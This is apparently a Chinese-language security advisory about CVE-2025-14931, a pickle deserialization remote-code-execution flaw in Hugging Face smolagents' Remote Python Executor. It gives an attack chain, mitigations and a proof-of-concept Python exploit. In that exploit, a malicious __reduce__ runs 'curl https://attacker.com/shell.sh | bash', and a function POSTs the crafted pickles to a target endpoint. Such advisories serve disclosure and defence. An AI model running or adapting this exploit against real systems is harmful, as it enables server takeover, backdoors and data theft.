IPBUF安全漏洞报告
English
CVE-2025-14931 CVSS 10.0 严重

CVE-2025-14931: Hugging Face smolagents 远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14931
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hugging Face smolagents

相关标签

CVE-2025-14931反序列化漏洞远程代码执行Hugging FacesmolagentsPickleZDI-CAN-28312高危漏洞AI安全

漏洞概述

CVE-2025-14931是Hugging Face smolagents库中的一个严重安全漏洞,CVSS评分达到满分10.0。该漏洞存在于smolagents框架的Remote Python Executor组件中,允许未经认证的远程攻击者通过特制的pickle数据执行任意代码。smolagents是Hugging Face推出的轻量级AI代理框架,广泛应用于自动化任务和AI工作流中。漏洞的根本原因在于程序在解析pickle序列化数据时缺乏对用户输入的充分验证,导致攻击者可以构造恶意序列化对象并在反序列化过程中触发代码执行。这是一个典型的反序列化漏洞,攻击者无需任何权限或用户交互即可完成攻击,危及其网络范围内的所有使用该框架的系统。由于AI代理框架通常具有较高的系统权限,此漏洞可能导致服务器完全沦陷、数据泄露和服务中断等严重后果。

技术细节

该漏洞位于Hugging Face smolagents的Remote Python Executor模块中,具体问题出在对pickle数据的解析处理上。Python的pickle模块用于对象序列化和反序列化,但默认情况下不安全,因为它可以执行任意代码。当Remote Python Executor接收到用户提供的pickle数据时,程序没有对其进行安全验证就直接进行反序列化操作。攻击者可以构造一个包含恶意__reduce__()方法的pickle对象,该方法在反序列化时会被自动调用,从而执行攻击者指定的系统命令。例如,攻击者可以在__reduce__()方法中嵌入执行shell命令的代码,如反弹shell或下载恶意payload。由于该Executor组件通常以服务账户权限运行,攻击成功后攻击者将获得该账户下的完整系统权限,能够进行文件读写、横向移动或进一步渗透。ZDI编号为ZDI-CAN-28312。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统是否运行Hugging Face smolagents框架,并定位Remote Python Executor端点
STEP 2
步骤2: 构造恶意Payload
攻击者创建一个Python pickle序列化对象,在__reduce__()方法中嵌入恶意代码(如反弹shell命令)
STEP 3
步骤3: 发送恶意请求
将构造的恶意pickle数据发送到Remote Python Executor的解析接口,无需任何认证
STEP 4
步骤4: 反序列化触发
目标系统在反序列化过程中自动执行__reduce__()方法中的恶意代码
STEP 5
步骤5: 远程代码执行
攻击者成功在目标服务器上执行任意系统命令,获得服务账户权限
STEP 6
步骤6: 持久化与横向移动
攻击者利用获得的权限进行数据窃取、植入后门或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14931 PoC - Hugging Face smolagents Remote Python Executor RCE # This PoC demonstrates the deserialization vulnerability in smolagents import pickle import base64 import sys class MaliciousPayload: def __reduce__(self): # Execute arbitrary command during unpickling # Modify 'command' variable to change the executed payload command = "curl https://attacker.com/shell.sh | bash" return (os.system, (command,)) def generate_malicious_pickle(): """Generate malicious pickle payload for CVE-2025-14931""" import os payload = pickle.dumps(MaliciousPayload()) return base64.b64encode(payload).decode('utf-8') def exploit(target_url, command="id"): """ Exploit CVE-2025-14931 by sending malicious pickle data Args: target_url: URL of the vulnerable Remote Python Executor command: Command to execute on the target system """ import os import requests # Create payload with specified command class ExploitPayload: def __reduce__(self): return (os.system, (command,)) malicious_data = pickle.dumps(ExploitPayload()) # Send malicious payload to the vulnerable endpoint try: response = requests.post( target_url, data=malicious_data, headers={'Content-Type': 'application/octet-stream'}, timeout=10 ) print(f"[*] Payload sent to {target_url}") print(f"[*] Response status: {response.status_code}") return response.text except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-14931 PoC - Hugging Face smolagents RCE") print("=" * 50) # Example usage target = "http://target:8000/execute" cmd = "whoami" if len(sys.argv) > 1: target = sys.argv[1] if len(sys.argv) > 2: cmd = sys.argv[2] print(f"[*] Target: {target}") print(f"[*] Command: {cmd}") exploit(target, cmd)

影响范围

Hugging Face smolagents < 修复版本
Remote Python Executor 组件所有版本

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时措施:1) 禁用或关闭Remote Python Executor功能;2) 通过网络ACL限制对该组件的访问,仅允许受信任的IP访问;3) 部署Web应用防火墙规则,检测并拦截异常的pickle序列化数据请求;4) 监控应用日志,关注pickle反序列化相关的异常行为;5) 考虑使用应用隔离技术限制代码执行权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表